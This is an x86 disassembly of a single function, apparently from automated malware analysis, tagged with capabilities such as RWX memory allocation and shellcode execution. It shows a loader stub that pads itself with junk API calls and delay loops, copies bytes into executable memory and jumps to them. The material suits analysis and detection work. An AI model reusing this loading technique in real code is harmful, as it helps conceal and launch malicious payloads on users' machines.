Function at 0x404540
Capabilities:
Allocate or change rwx memory
Execute shellcode via indirect call
Get file attributes
Get hostname
Get keyboard layout

Disassembly:
push ebp
mov ebp, esp
sub esp, 0x81c
push ebx
push esi
push edi
mov edi, dword [sym.imp.KERNEL32.dll_SetLastError]
xor esi, esi
push 0
call edi
cmp esi, 0xb7e4ee2
jg 0x404569
inc esi
cmp esi, 0x73f04bd
jl 0x404554
cmp dword [0x451afc], 0x400
jne 0x4045cf
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_DefineDosDeviceA]
push 0
call dword [sym.imp.USER32.dll_GetKeyboardLayoutNameA]
push 0x403f58
push 0
call dword [sym.imp.ADVAPI32.dll_BackupEventLogW]
push 0
push 0
call fcn.00404b78
push 0
call fcn.00404e42
add esp, 0xc
push 0
call fcn.004051a1
push ecx
mov eax, esp
mov dword [eax], 0
mov dword [eax + 4], 0
call fcn.00405010
fstp st(0)
add esp, 8
cmp dword [0x451afc], 0x93
jne 0x404639
xor ecx, ecx
lock bts dword [ecx], 0
push ecx
push ecx
call dword [sym.imp.KERNEL32.dll_GetDllDirectoryW]
push 0x403fa8
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea eax, [ebp - 4]
push eax
call dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
push 0
call fcn.00404e9e
add esp, 4
push 0
push 0
call fcn.00404ecd
add esp, 8
call fcn.00404530
fldz
sub esp, 8
fstp qword [esp]
call fcn.0040521d
fstp st(0)
push 0
push 0
call fcn.00404fef
add esp, 0x10
mov eax, dword [0x451afc]
mov ecx, dword [0x44cc84]
push 0x40
add eax, 0x1134b
push 0x1000
push eax
push 0
mov dword [0x452938], ecx
mov dword [0x451afc], eax
call dword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov dword [0x45158c], eax
mov esi, 0x1692e
mov edi, edi
call dword [sym.imp.KERNEL32.dll_GetLastError]
sub esi, 1
jne 0x404670
cmp dword [0x451afc], esi
jbe 0x4046dc
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_LoadLibraryW]
nop
mov edx, dword [0x452938]
mov al, byte [edx + esi + 0x1134b]
mov ecx, dword [0x45158c]
mov byte [ecx + esi], al
cmp dword [0x451afc], 0x490
jne 0x4046d3
push 0
lea edx, [ebp - 4]
push edx
call edi
push 0x404038
call ebx
lea eax, [ebp - 8]
push eax
push 0
lea ecx, [ebp - 0x1c]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleInputA]
inc esi
cmp esi, dword [0x451afc]
jb 0x404690
mov edi, dword [sym.imp.KERNEL32.dll_LCMapStringA]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedIncrement]
xor esi, esi
mov edx, dword [0x451afc]
add edx, esi
cmp edx, 0x8d
jne 0x40471f
push 0
lea eax, [ebp - 0x41c]
push eax
push 0
push 0
push 0
push 0
call edi
lea ecx, [ebp - 8]
push ecx
call ebx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenEventA]
inc esi
cmp esi, 0x38681
jl 0x4046ea
call fcn.00404410
mov ebx, dword [sym.imp.KERNEL32.dll_GetCurrentProcess]
xor edi, edi
xor esi, esi
cmp esi, 0xfa62c8f
jge 0x404741
call ebx
cmp esi, 0x207142
jg 0x404752
inc esi
cmp esi, 0x67d12
jl 0x404737
xor esi, esi
call dword [sym.imp.KERNEL32.dll_GetLastError]
cmp esi, 0x61
jne 0x404772
mov dword [ebp - 4], edi
add dword [ebp - 4], 0x1119
mov edx, dword [ebp - 4]
add dword [0x45158c], edx
inc esi
cmp esi, 0x674bd
jl 0x404754
mov esi, dword [sym.imp.KERNEL32.dll_GetFileAttributesW]
mov edi, dword [sym.imp.KERNEL32.dll_GetShortPathNameW]
mov ebx, dword [sym.imp.KERNEL32.dll_GlobalFix]
mov dword [ebp - 4], 0x7b
cmp dword [0x451afc], 0x86
jne 0x4047ca
push 0x403f8c
call esi
push 0
lea eax, [ebp - 0x81c]
push eax
push 0
call edi
push 0
call ebx
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
cmp dword [0x451afc], 0xf
jne 0x4047e1
push 0
push 0
lea ecx, [ebp - 8]
push ecx
call dword [sym.imp.KERNEL32.dll_InterlockedCompareExchange]
sub dword [ebp - 4], 1
jne 0x404794
push 0x40402c
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
call dword [0x45158c]
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret